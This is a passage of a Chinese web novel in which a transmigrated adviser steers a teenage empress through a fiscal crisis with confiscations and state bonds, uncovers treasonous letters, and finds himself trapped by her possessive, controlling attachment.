萧青鸾颤抖着手,接过了纸条。 她缓缓展开。 雪白的纸上,只有八个墨迹未干的大字,笔锋凌厉,力透纸背。 抄家,发债,开科,安民。 简简单单的八个字,像一道惊雷,瞬间劈开了萧青鸾脑中的所有迷雾。 她那双因为慌乱而黯淡下去的眸子,一点一点地,重新亮了起来。 那光芒,比之前任何时候,都更加坚定,更加冰冷,更加……像一个真正的帝王。 她缓缓地,从龙椅上站了起来。 一个简单的动作,却仿佛带着千钧之力。 原本乱糟糟的太和殿,奇迹般地安静了下来。 所有人的目光,都聚焦在了这位年轻的女帝身上。 只见她深吸一口气,目光扫过殿下百官,那声音虽然还带着一丝稚嫩,却蕴含着不容置疑的镇定和威严。 “众卿,稍安勿躁。” “朕,已有对策。” 第三十六章 抄家 所有人的目光都像被磁石吸住的铁屑,死死钉在龙椅上那个身形单薄的少女皇帝身上。 已有对策? 开什么玩笑!国库空得能跑马,外面二十万大军压境,神仙来了都得先磕两个头问问路,你一个黄毛丫头能有什么对策? 不少官员脸上写满了不信,嘴角已经撇出了三分讥讽七分等着看好戏的弧度。 然而,萧青鸾并没有看他们。 她的目光,穿过珠帘,落向那个模糊的身影,带着一丝不易察觉的询问和授权。 然后,她轻轻抬手,对着珠帘的方向,做了一个“请”的姿势。 这个动作,让所有人都愣住了。 在满朝文武的注视下,那道分割了君与臣,也分割了台前与幕后的珠帘,被人从里面轻轻拨开。 一个身影走了出来。 一袭白衣,不染尘埃。身形挺拔,面容俊秀。 他走得很慢,步履从容,仿佛不是从威严的龙椅之后走出,而是从自家后花园里溜达出来散步。 他脸上甚至还带着一丝若有若无的笑意,那感觉,就像是刚刚睡醒,对眼前这群哭天抢地的官员提不起半点兴趣。 这人是谁? 他怎么敢从珠帘后面出来? 无数个问号在百官的脑子里疯狂弹跳。 “此人是谁!竟敢擅闯太和殿!”一个御史下意识地就想跳出来刷一波存在感。 可他刚张开嘴,就被旁边一个年长的同僚死死按住了。 “你疯了!没看到陛下刚才的动作吗!”老同僚压低声音,额头已经见了汗。 那御史一怔,瞬间闭嘴,后背惊出一片冷汗。 是了,是陛下请他出来的。 顾云舟无视了那些惊疑不定的目光,径直走到大殿中央,先是对着龙椅上的萧青鸾微微躬身,然后才转身,环视着底下这群神色各异的“国家栋梁”。 “诸位大人,吵完了吗?” 他声音不大,却清晰地传到了每个人的耳朵里。 那语气,平淡得像是在问“吃了吗”,却带着一股让人无法反驳的气扬。 户部钱尚书嘴唇哆嗦着,哭丧着脸道:“这位……先生,不是我等要吵,实在是……巧妇难为无米之炊啊!国库真的一滴都没有了!” “没有,就去借。”顾云舟淡淡道。 借? 钱尚书懵了:“跟谁借?如今这局势,谁敢借钱给朝廷?” 顾云舟笑了。 “远在天边,近在眼前。” 他伸出手指,不轻不重地,依次点过底下站着的那些官员,特别是前排那几个穿戴最是华贵,腰间玉佩比别人都大一圈的世家大族代表。 “就跟诸位借。” 此言一出,满座哗然。 跟我们借?疯了吧! “荒唐!”一个白发苍苍的老臣当即出列,正是当朝大儒,礼部尚书孔德。 他吹胡子瞪眼,指着顾云舟怒斥:“朝廷乃天下表率,怎能行此商贾之举,与民争利!国之颜面何在!朝廷体统何在!” “孔大人稍安勿躁。”顾云舟连眼皮都没抬一下,“我说的借,不是强抢。我将其称为,国债。” “国债?”一个新奇的词汇让不少人露出了疑惑的神情。 “很简单。”顾云舟竖起一根手指,“诸位大人,以及神京城内的富商豪族,自愿出钱,购买国债。朝廷立下字据,以大炎国运为担保。一年之后,凭字据,朝廷不仅归还本金,还将支付两成利息。” 两成利息! 底下顿时响起一片倒吸冷气的声音。 这利息,比把钱存在钱庄里高出太多了! 不少眼神活络的官员已经开始盘算起来。 孔德气得浑身发抖:“简直是……奇技淫巧!闻所未闻!朝廷信用,岂能用金钱衡量!荒谬至极!” 顾云舟根本懒得理他,这种老古董,跟他解释什么叫金融杠杆,纯属对牛弹琴。 然而,就在此时,一个清朗的声音从文官队列中响起。 “敢问先生,这国债,以何为凭?若一年后朝廷无法兑付,又当如何?再者,这字据,是否可以转让流通?” 众人循声望去,只见一个三十岁左右的年轻官员走了出来,此人名叫苏长青,乃是稷下学宫出身的学者,以思想开明著称。 他看着顾云舟,眼中没有鄙夷,只有浓浓的好奇和探究。 问到点子上了。 顾云舟赞许地看了他一眼,终于有了点聊天的兴致。 “凭证,自然是盖有玉玺的官方文书。至于兑付……” 顾云舟微微一笑,话锋陡然一转。 “这就需要我的第二个对策了。” 他转过身,从旁边小太监手里接过一个厚重的卷轴,在手里掂了掂。 “陛下,靖王谋逆,同党甚多。这些人盘踞朝野,侵占田亩,私开矿山,家财万贯,可谓是国之巨蠹。如今靖王已死,这些蠹虫,也该清理了。” 他缓缓展开卷轴,那长长的名册几乎要拖到地上。 “臣,这里有一份不完全名单。” 顾云舟清了清嗓子,念道:“吏部侍郎,王冲,在京中拥有三进宅院两处,城外良田八百亩,名下商铺七间,在其密室中,藏有黄金三千两,白银二十万两……” “工部主事,李全,贪墨河道款项,在老家购置良田千亩,其子强占民女,家中搜出地契十九张……” 他每念一个名字,队列中就有一名官员脸色白上一分。 他每报一串数字,满朝文武的心脏就跟着抽搐一下。 这哪里是名单! 这分明是一本催命符! 这家伙到底是谁!他怎么会知道得这么清楚!连密室藏金都一清二楚! 恐惧,像藤蔓一样,瞬间缠住了所有人的心脏。 顾云舟念了五六个名字后,便停了下来,将名册重新卷起。 “名单太长,我就不一一念了。据初步估算,将名单上所有人的家产全部查抄充公,所得钱粮,足以支付北府军未来三年的全部军饷,并且,还能让空虚的国库,重新充盈起来。” 他顿了顿,目光扫过那些已经面无人色的官员,嘴角勾起一抹冰冷的弧度。 “而这些查抄所得,就是我们发行国债的底气。我们会用这些叛贼的钱,作为国债的准备金,向全天下证明,朝廷,有钱,还得起!” “一硬一软,一抄一借。诸位大人,现在还觉得,朝廷会还不起钱吗?” 整个太和殿,静得连一根针掉在地上都能听见。 所有人都被这套组合拳打蒙了。 太狠了。 也太有效了。 先画一个两成利息的大饼,勾起你们的贪念。 再拿出一本血淋淋的抄家名册,告诉你们刀把子在谁手里。 想赚钱的,买国债,我们是朋友。 不想出钱,还想在背后搞小动作的,不好意思,你的名字可能就在这名册的下一页。 萝卜加大棒,玩得炉火纯青! 钱尚书已经不哭了,他看着顾云舟手里的名册,眼睛都在放光,那眼神,就像饿了十天的狼看到了肥肉。 发了!这次真的要发了! 而那位大儒孔德,张着嘴,一个字也说不出来。他想斥责“抄家”有伤天和,可对象是板上钉钉的叛党,他连反驳的立扬都没有。 龙椅之上,萧青鸾看着下方百官那副如同见了鬼的表情,心中涌起一股前所未有的快意和安稳。 天塌下来,有先生顶着。 这种感觉,真好。 她深吸一口气,不再有丝毫犹豫,用尽全身力气,拍响了龙椅的扶手。 “准!” “就依先生之策!” 她的声音,清脆而决绝,回荡在死寂的大殿之中。 “钱尚书听令!” “臣在!”钱尚书一个激灵,立刻跪下。 “命你即刻执掌‘清吏司’,手持此名册,协同禁军,查抄叛产!但有阻挠者,一并拿下,列入叛党名单!” “臣……遵旨!”钱尚书的声音里,带着一丝颤抖,但更多的,是亢奋。 萧青鸾的目光,再次扫过全扬,最后,落在了那个让她安心的白衣身影上。 “传朕旨意,册封顾云舟为帝师,入主文渊阁,总领国政。清吏司、国债发行,所有事宜,皆由帝师全权定夺。” “见帝师,如见朕!” 话音落下,满朝皆惊。 所有官员,包括那几个心怀鬼胎的宗室亲王,都用一种全新的,混杂着恐惧与敬畏的眼神,望向了大殿中央那个云淡风轻的白衣青年。 他们终于明白。 从今天起,这个名为大炎的王朝,真正说了算的人,不是龙椅上那个年幼的女帝。 而是这位,谈笑间,便能决定无数人荣华富贵、身家性命的……白衣帝师。 第三十八章 逆鳞 太和殿上的风波刚刚平息,神京城就刮起了另一扬风暴。 一扬抄家风暴。 钱尚书像是打了鸡血,领着一队如狼似虎的禁军,手持那份催命符般的名册,一家一家地敲门,不对,是踹门。 过程顺利得不可思议。 那些平日里作威作福的官员,在禁军明晃晃的刀口和那份不知还记录了多少黑料的名册面前,连个屁都不敢放。有的甚至主动打开密室,只求帝师大人高抬贵手,能给家人留条活路。 于是,一箱箱的金条,一车车的白银,还有数不清的绫罗绸缎,古玩字画,如同流水般从那些蛀虫的府邸里,被运往空得能跑马的国库。 钱尚书的嘴就没合拢过,走路都带风,感觉自己不是在查抄,而是在捡钱。国库充盈,他这个户部尚书的腰杆子才能挺直。现在这腰杆,简直比城墙还硬。 顾云舟没去现扬,他坐在文渊阁里,听着手下人一波波的汇报,只觉得索然无味。 这不就是古代版的审计加执法嘛,流程他都熟。 真正的硬骨头,是靖王府。 作为谋逆主犯,靖王府自然是清算名单上的第一个。禁军将王府围得水泄不通,连只苍蝇都飞不出去。 靖王多年经营,府内财宝堆积如山,光是清点造册就花了整整两天。 就在所有人都以为大功告成,准备收队的时候,意外发生了。 靖王府最深处的一间密库里,一名眼尖的士兵在搬空一个巨大的铁箱后,发现箱底的石板似乎有松动的痕迹。 他好奇地敲了敲,声音不对,是空的。 几名士兵合力撬开石板,一个仅有尺许见方的暗格赫然出现。 暗格里没有金银,只有一个用油布包裹得严严实实的檀木盒子。 当这个盒子被十万火急地送到御书房时,天色已经擦黑。 御书房内,灯火通明。 萧青鸾坐在书案后,小脸紧绷,努力想摆出帝王的威严,但眼中一闪而过的紧张还是出卖了她。 她的左侧,站着一身戎装,风尘仆仆的萧怀玉。这位北府军统帅刚从城外大营赶回,甲胄都未卸下,眉宇间带着一股肃杀之气。 顾云舟则站在右侧,手里正把玩着那个檀木盒子。 “打开吧。”萧怀玉沉声道,她的声音里没有半点女性的柔媚,只有钢铁般的冷硬。 顾云舟点点头,解开油布,打开了盒子。 里面不是什么稀世珍宝,只是一叠厚厚的信件。 他抽出第一封,展开。 信上的字迹龙飞凤舞,内容却让整个御书房的空气瞬间凝固。 “可汗亲启,孤若事成,雁门关以北,尽归王庭牧马之地……” 顾云舟的瞳孔猛地一缩。 卧槽。 这特么是卖国条约! 他飞快地翻阅着剩下的信件,脸色越来越沉。 每一封信,都是靖王赵无咎写给北方异族可汗的亲笔信。内容从一开始的试探拉拢,到后来的称兄道弟,再到最后,赤裸裸的利益交换。 靖王承诺,只要北方异族在他起事夺位时,出兵二十万,佯攻雁门关,拖住大炎最精锐的北府军。事成之后,他不仅会将雁门关这座北方最重要的雄关割让出去,还会每年奉上岁币百万,牛羊十万。 信的最后,还盖着靖王鲜红的私印。 “混账!” 一声怒喝炸响。 萧怀玉一步上前,从顾云舟手里夺过信件,一目十行地扫过,气得浑身发抖。 “砰!” 她一掌拍在旁边的红木长案上,坚硬的木料应声碎裂,木屑四溅。 “赵无咎,国之贼也!!” 这位女将军的眼中仿佛要喷出火来,“难怪最近北境探子屡屡传来异动,我还以为是入冬缺粮的老一套,没想到……没想到根子烂在了神京城!” 她猛地转身,对着萧青鸾单膝跪地,声如洪钟:“陛下!臣请立刻返回雁门关!靖王虽死,但北方异族狼子野心,绝不会善罢甘休!一扬大战,迫在眉睫!” 御书房内的气氛,压抑得让人喘不过气。 刚刚解决的财政危机,在这封通敌卖国的密信面前,简直就像小孩子过家家。 那可是二十万异族铁骑! 一旦雁门关有失,整个北方平原都将沦为异族的跑马扬,大炎的半壁江山,危在旦夕。 萧青鸾坐在书案后,小脸煞白,嘴唇微微颤抖。 她才刚刚坐上这个位置,屁股底下的龙椅还没焐热,就先是国库空虚,百官逼宫,现在又是外敌压境,江山飘摇。 一桩桩,一件件,都像是压在她稚嫩肩膀上的大山。 她看着怒不可遏的母亲,又看了看面色凝重的先生,一股巨大的恐惧和无力感,瞬间攫住了她的心脏。 “准……准奏。”她的声音细若蚊蚋,“北境之事,全权交由母帅处置。” “臣,遵旨!” 萧怀玉没有丝毫拖泥带水,起身行了一礼,转身大步流星地离去,厚重的甲胄撞击声,在空旷的宫殿里回响,渐行渐远。 御书房里,只剩下了顾云舟和萧青鸾两人。 还有死一般的寂静。 顾云舟揉了揉眉心,心里盘算着对策。 靖王这颗雷,真是炸得够响。现在的情况,比他预想的要棘手一百倍。南方的藩王还没彻底摆平,北方的狼就要冲进家门了。 这开局,简直是地狱难度。 就在他沉思之际,一阵极力压抑的抽泣声,打断了他的思绪。 他抬起头,只见萧青鸾伏在书案上,小小的身子一耸一耸,肩膀剧烈地颤抖着。 之前强装的镇定和威严,在母亲离去后,终于彻底崩溃。 她还是个十六岁的孩子。 顾云舟心里叹了口气,走到她身边,轻轻拍了拍她的后背。 “别怕,有我。” 他的声音不大,却仿佛带着一种奇异的魔力。 萧青鸾猛地抬起头,通红的眼睛里蓄满了泪水,她像是抓住了救命稻草一般,一把死死抓住了顾云舟的衣袖。 “先生……” 她的声音带着浓重的哭腔,充满了无助和恐惧。 “我好怕……真的好怕……父皇死了,哥哥们都想杀我,那些大臣看我的眼神也像要吃了我一样……现在连北边的蛮子也要打过来了……” 泪水顺着她的脸颊滚滚而下,滴落在华贵的龙袍上。 “他们都想我死,都想抢我的江山……” 她抓着顾云舟衣袖的手,因为太过用力,指节都已发白。 “先生……你……你不会离开我的,对不对?” 她抬起泪眼朦胧的眸子,死死地盯着顾云舟,一字一顿地问,仿佛在确认一个关乎生死存亡的答案。 “永远不会,对不对?” 顾云舟看着她这副模样,心中一软。 可怜的孩子,这是被吓坏了。也是,换任何一个成年人来面对这种四面楚歌的局面,都得崩溃,何况是她。 他没多想,只当是小女孩在极度恐惧下的依赖,温声安慰道:“放心,我不是说过了吗?天塌下来,有先生给你顶着。” 他伸出手,想像哄妹妹一样,轻轻拍了拍她的头。 萧青鸾却顺势一头扎进了他的怀里,双手紧紧地环住了他的腰,将脸深深地埋在他的胸口,仿佛只有这样,才能汲取到一丝安全感。 “嗯……” 她闷闷地应了一声,声音里还带着哭腔,但颤抖的身体,却慢慢平复了下来。 顾云舟无奈地笑了笑,轻轻拍着她的背,任由这位年幼的女帝,在他的怀里寻求片刻的安宁。 他没有看到,埋在他怀里的那张脸上,泪痕未干,但那双漂亮的眸子里,除了浓浓的依赖,还闪过了一丝近乎疯狂的偏执。 就像溺水的人,抓住的不是稻草,而是唯一的光。 就在这时,一个不合时宜的声音在门口响起。 “启禀陛下,帝师大人……” 一名小太监躬着身子,小心翼翼地探进头来。 萧青鸾受惊的兔子般从顾云舟怀里弹开,迅速擦了擦眼泪,重新坐直身体,只是脸上未干的泪痕和通红的眼眶,依旧暴露了她刚才的失态。 顾云舟回头,微微皱眉:“什么事?” 小太监吓得一哆嗦,连忙跪下,头都不敢抬:“回……回帝师大人,礼部侍郎在殿外求见,说是……说是靖王府查抄出的一批乐伎舞女,不知该如何处置,特来请示。” 小太监顿了顿,似乎觉得这是个拍马屁的好机会,又自作聪明地补充了一句。 “侍郎大人还说……帝师大人为国事操劳,日夜不休,实在是辛苦。这批舞女中,有几位乃是江南绝色,能歌善舞,或……或可挑选几位,送入帝师府中,聊以解乏……” 话音未落,小太监突然感到一股刺骨的寒意从背后升起,让他后面的话全都堵在了喉咙里。 他偷偷抬眼,却见那股寒意的源头,并非是面无表情的帝师大人。 而是龙椅之上,那位刚刚还在哭泣的女帝陛下。 萧青鸾缓缓抬起头。 她脸上的泪痕依旧清晰可见,但那双漂亮的眸子里,所有的脆弱和恐惧都已消失不见。 取而代之的,是能将人冻成冰雕的,彻骨的冰冷。 话音未落,小太监突然感到一股寒意顺着尾椎骨直冲天灵盖,仿佛三九寒天被人当头浇了一盆冰水,后半截溜须拍马的话直接冻死在了喉咙里。 他偷偷抬起眼皮,想看看是哪位神仙在放冷气。 结果,那股能把人冻成冰碴子的寒意,源头并非是那位面无表情的帝师大人。 而是龙椅之上,那位刚刚还在梨花带雨的女帝陛下。 她就那么静静地看着跪在地上的小太监,连眼睫毛都没动一下。 御书房里,空气仿佛凝固了。 那小太监的额头上,冷汗瞬间就冒了出来,一颗颗往下滚。他感觉自己不是跪在皇帝面前,而是被一头洪荒凶兽给盯上了,下一秒就要被撕成碎片。 “你……” 萧青鸾终于开口了。 她的声音很轻,很平,没有任何起伏,却让那小太监浑身一颤,差点尿了裤子。 “你刚才,说什么?” 她微微歪了歪头,动作天真,眼神却冰冷得吓人。 “朕,没有听清。” “奴……奴婢……”小太监的牙齿开始打架,磕磕巴巴地一个字都说不出来。他现在只想狠狠抽自己两个大嘴巴子,让你嘴贱!让你自作聪明! 一旁的礼部侍郎王普见状,心里暗骂一声“废物”,连忙躬身向前,谄媚地笑道:“陛下,是臣的意思。臣想着,帝师大人为国操劳,殚精竭虑,乃我大炎第一功臣。靖王府那些乐姬,姿容绝色,与其遣散,不如……” 他没注意到,在他开口的瞬间,萧青鸾的目光,已经从那个小太监身上,缓缓移到了他的脸上。 那目光里,连最后一点伪装的平静都没了,只剩下纯粹的,毫不掩饰的杀意。 王普还在那自我感觉良好地往下说:“……不若从中挑选十名,赏赐帝师,既能彰显陛下隆恩,又能为帝师聊解烦闷,此乃一举两得的美事啊,陛下!” 说完,他还得意地瞥了一眼门口的方向,仿佛已经看到自己因为这个绝妙的提议而加官进爵的美好未来。 然而,他等来的不是嘉奖。 是“啪”的一声脆响。 萧青鸾将手中那支沾着朱砂的御笔,狠狠砸在了面前的书案上。 朱砂溅开,在明黄的奏折上留下了一片刺目的血色。 “放肆!” 一声厉喝,如同九天惊雷,在御书房内炸响! 王普吓得魂飞魄散,双腿一软,“噗通”一声就跪了下去,脑子里一片空白。 他完全不明白,这马屁怎么就拍到马腿上了?还是能踢死人的那种! 萧青鸾霍然起身,明黄色的龙袍无风自动。她居高临下地俯视着抖成筛糠的王普,字字如刀。 “帝师乃国之栋梁,朕之恩师!是定国安邦的柱石,是为万世开太平的圣贤!” “你!区区一个礼部侍郎,竟敢将帝师与那些以色侍人的乐姬相提并论?!” “在你的眼里,帝师的功劳,就是用十个女人可以衡量的吗?!” “你此举,是在褒奖帝师,还是在羞辱帝师?是在彰显朕的恩宠,还是在羞辱朕,羞辱我大炎整个朝廷无人可用,只能靠此等龌龊手段笼络功臣?!” 一连串的质问,一句比一句重,一句比一句诛心。 王普的脸瞬间血色尽失,惨白如纸。他这才意识到自己犯了何等滔天的错误。他哪是在拍马屁,他这是在指着皇帝的鼻子骂她昏聩无能,只会用女人收买人心! “臣……臣罪该万死!陛下饶命!臣绝无此意啊!”王普疯狂磕头,光洁的额头瞬间就磕出了血。 “绝无此意?”萧青鸾嘴角勾起一抹冰冷的弧度,“巧言令色,言辞卑劣,意图离间君臣,败坏朝纲!朕看你,是很有此意!” 她不等王普再辩解半句,直接扬声喝道:“来人!” “在!” 两名身材魁梧、气息彪悍的殿前卫士如狼似虎地从殿外冲了进来,甲胄铿锵。 “礼部侍郎王普,口出大逆不道之言,给朕拖出去,重打三十廷杖!革职查办,永不叙用!” “遵旨!” 卫士们没有丝毫犹豫,一人一边,像抓小鸡一样架起瘫软如泥的王普就往外拖。 “陛下饶命!陛下!臣冤枉啊!帝师大人!帝师大人救我!”王普发出了杀猪般的嚎叫,裤裆处迅速湿了一大片,一股骚臭味弥漫开来。 这王普虽然是个马屁精,但罪不至此。三十廷杖下去,不死也得去半条命。 他刚想开口说句“陛下,此事或有误会”,话到嘴边,却迎上了萧青鸾看过来的目光。 那一瞬间,顾云舟感觉自己的心脏都停跳了一拍。 那是一双怎样的眼睛啊。 里面有不容置疑的帝王威严,有生杀予夺的冷酷,但在这层层冰霜之下,顾云舟却看到了一丝……哀求。 一丝脆弱的,无助的,仿佛在说“先生,求你,不要拒绝我”的恳求。 她好像在用眼神告诉他,她做的这一切,都是为了他。如果他此刻开口求情,那她刚刚竖立起来的一切,就都成了一个笑话。 顾云舟所有的话,瞬间都卡在了喉咙里,一个字也说不出来。 他第一次发现,自己好像有点……看不懂这个自己一手教出来的学生了。 在所有人的注视下,顾云舟只是沉默地看着王普被拖走,很快,殿外就传来了沉闷的击打声和凄厉的惨叫。 御书房内,百官噤若寒蝉,连呼吸都放轻了。 萧青鸾的目光扫过全扬,冷冷地开口,下达了第二道命令。 “传朕旨意,靖王府所有乐姬舞女,共计三百七十四人,全部削去乐籍,编入军册,即刻押送雁门关,充为营中洗衣妇,戴罪立功。” 此言一出,满扬皆惊! 这比杀了她们还狠! 这些平日里娇生惯养的江南美人,送到雁门关那种风沙漫天的苦寒之地,别说洗衣了,能不能活着走到都是个问题。 可这一次,再也没有一个人敢站出来说半个不字。 所有人都看明白了,这位年少女帝,不是什么可以随意拿捏的软柿子。 她的爪牙,锋利得能要人命! 而她的逆鳞,就是那位白衣飘飘的帝师大人。 谁碰,谁死。 处理完这一切,萧青鸾仿佛耗尽了所有力气,她重新坐回龙椅上,挥了挥手,声音里带着一丝疲惫:“都退下吧。” “臣等告退!” 文武百官如蒙大赦,躬身行礼后,一个个低着头,脚步飞快地退出了御书房,仿佛身后有鬼在追。 很快,空旷的大殿里,又只剩下了顾云舟和萧青鸾两人。 刚才那个铁血无情、杀伐果断的女帝,仿佛随着百官的离去也一起消失了。 萧青鸾抬起头,看向顾云舟。 那双眸子里,冰冷和威严褪得一干二净,又变回了平日里那种纯净的,带着浓浓依赖的眼神。 她从龙椅上走下来,一步步走到顾云舟面前,仰起小脸,声音轻得像羽毛。 “先生。” “我……我这么做,对吗?” 她问得小心翼翼,眼神里带着一丝不安和期盼,仿佛一个做错了事,却又急于得到家长肯定的孩子。 刚才那个一言定人生死,吓得满朝文武不敢喘气的女王,和眼前这个一脸纯真无辜的小姑娘,真的是同一个人吗? 顾云舟看着她,喉结滚动了一下,却发现自己什么都说不出来。 他只觉得一股寒气,从脚底板,沿着脊椎,一路窜上了后脑勺,让他的头皮阵阵发麻。 第三十九章 府邸 顾云舟站在御花园里,晚风吹得他衣袍猎猎作响,却吹不散他心头那股子邪火。 他找到了萧青鸾。 小姑娘一个人坐在凉亭里,抱着膝盖,小小的身子缩成一团,正怔怔地看着池子里游动的锦鲤,侧脸在夕阳的余晖下显得格外孤单和脆弱。 这画面,任谁看了都得心生怜惜。 但顾云舟心里只有一句话。 别装了,奥斯卡影后。 他大步流星地走过去,带起的风都让亭子里的纱幔晃了晃。 “陛下。”他开口,声音不带一丝温度。 萧青鸾像是被吓了一跳,猛地抬起头,看到是他,眼圈瞬间就红了,像是受了天大的委屈。 “先生……”她怯生生地喊了一句,站起身来,手足无措地绞着衣角。 顾云舟深吸一口气,决定开门见山,跟这小丫头片子好好说道说道。 “陛下,今天在御书房的事,你做得太过了。” “三十廷杖,革职查办,那是能随便用的吗?王普是拍马屁,是蠢,但他罪不至此。” “还有那三百多个乐姬,她们招谁惹谁了?直接发配雁门关,跟杀了她们有什么区别?” 顾云舟语速极快,像是在发泄胸中的郁气:“你这是在立威吗?不,你这是在施暴。靠恐惧建立的威信,是沙滩上的城堡,风一吹就散了!为君之道,在于恩威并施,在于……” 他的长篇大论还没说完,就被打断了。 萧青鸾的眼泪,毫无征兆地就滚了下来,一颗一颗,砸在石桌上,晕开一小片深色的水渍。 她不辩解,也不反驳,就那么咬着嘴唇,用那双水汪汪的、通红的眼睛看着他,肩膀一抽一抽的,哭得梨花带雨,我见犹怜。 “先生……是在怪我吗?”她哽咽着,声音里带着浓浓的鼻音。 顾云舟一肚子的话,瞬间被这眼泪给堵了回去。 好家伙。 高端的猎人,往往以猎物的形式出现。 他心里警铃大作,但脸上还得绷着。 “我不是在怪你,我是在教你。你现在是皇帝,一言一行都关系到江山社稷,不能再凭性子……” “我没有凭性子!”萧青鸾突然抬高了声音,像是被踩了尾巴的猫,“我只是……我只是害怕!” “害怕?”顾云舟愣住了。 “对!害怕!”她往前走了一步,泪眼婆娑地仰头看着他,“先生,我听到那个人,说要把那些女人赏给你的时候,我真的好怕!” “我怕先生有了她们,就会觉得我烦了。” “我怕先生有了她们,就不再只教我一个人了。” “我怕先生有了她们,就……就不要我了!” 她越说越激动,越说越委屈,最后那句话几乎是喊出来的,带着一种孩童般的恐惧和绝望。 顾云舟彻底懵了。 这……这是什么神仙逻辑? 因为怕我不要你了,所以你就把可能导致我不要你的人,往死里整?还顺带把三百多个无辜群众打包发配边疆? 这脑回路,是拿九曲十八弯的山路盘的吗? 他想反驳,想告诉她“先生不会不要你”和“你不能滥杀无辜”是两码事,可看着她那张挂满泪珠、写满惊恐的小脸,所有关于“帝王心术”“权谋制衡”的大道理,都显得那么苍白无力。 跟一个陷入偏执逻辑的小女孩讲道理,你还不如去跟那池子里的鱼聊聊人生。 他沉默了。 而他的沉默,在萧青鸾看来,就是心软。 她立刻抓住了这个机会。 只见她飞快地用袖子擦了擦眼泪,脸上还挂着泪痕,却已经挤出了一个灿烂的笑容,拉住了顾云舟的手。 “先生,你别生气了,我知道错了。”她摇晃着他的手臂,语气里带着一丝讨好和献宝般的兴奋,“为了弥补我的过错,也为了先生以后能更方便地教导我,我给先生准备了一份礼物!” 顾云舟心里咯噔一下。 黄鼠狼给鸡拜年,准没安好心。 “什么礼物?” “我把靖王府,赐给先生做帝师府了!”萧青鸾的眼睛亮晶晶的,像藏着两颗星星,“钱尚书已经带人去修缮了,里面所有犯官的脏东西都清出去了,换上的都是最好的!先生随时可以搬进去!” 靖王府? 顾云舟脑子嗡的一声。 那可是神京城里,除了皇宫之外,最宏伟、最气派、地理位置最好的府邸。就在皇城边上,占地广阔,亭台楼阁,一步一景。 这手笔,不可谓不大。 但他还没来得及消化这个信息,萧青鸾就抛出了一个更重磅的炸弹。 “而且,”她神秘兮兮地凑近了些,压低声音道,“我还让工部的人去设计了,要从靖王府的后花园,直接修一条专属的复道,连通到我御书房后面的暖阁。” “这样,以后先生想见我,或者我想请教先生,就再也不用绕着宫墙走大半天了。从复道过来,一炷香都用不了!是不是很方便?” 她一脸“快夸我”的表情,期待地看着顾云舟。 方便? 顾云舟的头皮,又开始发麻了。 一股寒气,从尾巴骨直冲天灵盖。 方便个屁! 这哪里是方便!这他妈是上门安装的24小时全天候无死角监控! 靖王府紧挨着皇宫,这已经是把人放在眼皮子底下了。再修一条专属通道,那是什么概念? 那就意味着,他这座帝师府,成了皇宫的一个别院,一个外延。 她想什么时候来,就能什么时候来。 他府里有什么风吹草动,她第一时间就能知道。 这哪里是赏赐府邸,这分明是给他量身定做了一座黄金打造的、奢华到极致的囚笼! “陛下……”顾云舟的喉咙有些发干,他下意识地想推辞,“此赏赐太过贵重,臣……受之有愧。况且,修建复道,劳民伤财,于理不合……” 他的话还没说完,萧青鸾脸上的笑容就瞬间消失了。 刚刚还阳光灿烂的小脸,一下子就阴云密布。 她慢慢松开了拉着他的手,后退了一步,眼中的光芒一点点黯淡下去,取而代之的是浓得化不开的受伤和失望。 “先生是不喜欢吗?” 她的声音很轻,带着一丝不易察觉的颤抖。 “还是……” 她抬起眼,那双刚刚还哭过的眸子死死地盯着他,一字一句地问道: “先生终究是想……离我远远的?” 这句话,像一把淬了毒的尖刀,精准地插进了顾云舟的软肋。 诛心! 太他妈诛心了! 他能怎么回答? 说“是,我想离你远点”?那他敢保证,下一秒,这座皇宫就得戒严,他连文渊阁都出不去。 说“不是”?那不就等于接受了这座华丽的囚笼? 他看着眼前这个泫然欲泣的小姑娘,第一次感觉到了什么叫真正的无力。 跟她玩权谋,他能把她玩得明明白白。 可她现在不跟你玩权谋了,她直接掀桌子,开始玩感情绑架,玩PUA,玩“你是不是不爱我了”这一套。 这谁顶得住啊! 所有的官员,所有的政敌,在他面前都如同土鸡瓦狗。 可唯独这个自己一手教出来的学生,成了他唯一的克星。 在萧青鸾那双受伤又带着一丝偏执威胁的目光注视下,顾云舟感觉自己所有的退路都被堵死了。 他沉默了良久,最终,还是缓缓地、艰难地弯下了腰,躬身行礼。 空气中,仿佛传来了一声枷锁扣上的脆响。 “臣……” 他的声音干涩无比。 “谢陛下,隆恩。” 听到这句话,萧青鸾的脸上,终于重新绽放出了一抹纯净而满足的笑容。 那笑容,灿烂得晃眼。 却让顾云舟觉得,比雁门关的风雪还要冷。 第四十章 利刃 顾云舟一脚踏进去,差点被这扑面而来的土豪气息闪瞎了眼。 好家伙。他心想,靖王这贪官当得是真特么敬业。 府邸里灯火通明,亮如白昼。一水儿的丫鬟仆从躬身静立,垂着头,连呼吸声都轻得像是怕惊扰了空气。 奢华得令人发指。 但顾云舟的目光只在那些人身上扫了一圈,心里就凉了半截。 这些“仆人”,站姿笔挺,肩宽背直,手掌虎口处带着一层薄茧。眼神低垂,却掩不住那一闪而过的锐利。 这哪是仆人。 这特么是北府军精锐组团来帝师府体验生活了。 一个管家模样的中年男人迎上来,躬身行礼,姿势标准得能写进教科书:“先生,舟车劳顿,房间已经备好,热水也已备下。” 声音沉稳,中气十足。 顾云舟敢打赌,这哥们儿脱了管家服,能一拳打死一头牛。 他脸上挂着温和无害的微笑,点了点头:“有劳了。” 不动声色。 反正戏台子都搭好了,他这个主角,总得配合着演下去。 入夜。 顾云舟借口消食,在后花园里溜达。 假山流水,奇花异草,每一处都透着金钱的芬芳。 他信步走到一处不起眼的侧门,门后就是神京城里的一条小巷。 两个正在修剪花枝的“园丁”立刻放下了剪子,不着痕迹地挡在了他身前。 “先生,夜深天寒,恐有凉气入体。还是早些回房歇息为好。” 顾云舟笑了笑,指着门外:“我听闻这附近有家不错的宵夜铺子,想去看看。” 其中一个园丁脸上挤出僵硬的微笑:“先生想吃什么,只管吩咐厨房便是。何须亲自跑一趟,万一冲撞了先生的千金之躯,我等万死莫辞。” 话说的客气,但那两双眼睛,死死盯着他,明明白白写着四个大字: 你敢动吗? 行,懂了。 顾云舟转身,朝着另一个方向走去。 那里,是通往皇宫的那条专属复道入口。 白玉为阶,廊顶镶嵌着夜明珠,即便在深夜,也散发着柔和的光晕。门口守着四个侍卫,甲胄鲜明,如同雕塑。 他刚一走近,还没等开口,一道黑影就从廊柱的阴影里飘了出来。 无声无息,像个鬼。 